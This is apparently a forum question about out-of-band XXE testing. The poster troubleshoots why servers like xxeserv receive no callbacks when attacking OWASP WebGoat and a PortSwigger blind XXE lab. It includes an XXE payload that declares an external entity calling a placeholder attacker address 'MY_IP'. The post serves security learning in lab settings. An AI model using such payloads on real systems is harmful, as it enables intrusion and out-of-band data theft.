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Trouble testing xxe server


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I want to test If servers like xxe-ftp-server or xxeserv can work to receive http requests and transfer dtds. However I have so far been unable to get either to work when testing on things like OWASP WebGoat or the blind xxe lab by PortSwigger. For example: on the PortSwigger xxe lab, I intercept the correct XML POST request and add

<!DOCTYPE stockCheck [
  <!ENTITY ping SYSTEM "http://MY_IP:80/"> 

and then replace the content of the productID tag with &ping; (like it states in the solution). Using either of the mentioned servers results in the same thing, the PortSwigger server responding with 'parsing error' while my xxe servers don't pickup on any traffic at all. If this is just because of how the servers I'm attacking are set up, then can anyone suggest anything i could test against that would allow me to get a result from my xxe servers.

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Ah, sorry I just realized I didn't word that well. Basically im asking if anyone could either give me an idea as to why my xxe servers are not picking anything up (like is there something wrong with my inserted dtd) or, if the problem is simply beacause of how OWASP WebGoat and the blind xxe lab are set up, could anyone suggest something I could test xxe on that would allow me to use the mentioned xxe servers.

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